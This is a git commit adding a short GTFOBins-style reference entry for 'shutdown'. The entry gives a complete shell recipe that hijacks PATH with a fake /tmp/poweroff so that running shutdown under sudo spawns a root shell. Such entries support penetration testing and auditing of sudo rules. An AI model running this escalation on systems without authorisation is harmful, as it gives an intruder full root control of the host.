JTZ 2023-10-28 12:11:06 +08:00 committed by GitHub
parent 1d2353ad30
commit 4d9b29f982
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

10
_gtfobins/shutdown.md Normal file
View File

@ -0,0 +1,10 @@
---
functions:
sudo:
- description: This can help us get the root user Shell
- code: |
echo /bin/bash > /tmp/poweroff
chmod +x /tmp/poweroff
export PATH=/tmp:$PATH
sudo -u root /usr/sbin/shutdown
---